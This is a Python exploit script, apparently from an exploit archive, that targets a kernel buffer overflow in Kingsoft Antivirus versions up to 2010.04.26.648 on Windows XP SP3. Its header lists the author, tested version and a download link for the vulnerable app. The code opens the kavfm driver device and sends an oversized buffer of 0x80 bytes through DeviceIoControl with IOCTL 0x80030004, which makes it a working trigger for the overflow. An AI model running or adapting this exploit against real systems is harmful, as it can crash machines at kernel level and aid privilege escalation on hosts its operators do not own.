Kingsoft Antivirus <= 2010.04.26.648 Kernel Buffer Overflow Exploit

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#!/usr/bin/python
  
#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *
  
kernel32 = windll.kernel32
Psapi    = windll.Psapi
  
if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
  
    DEVICE_NAME   = "\\\\.\\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       = ''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                        0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*'\x80'
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)
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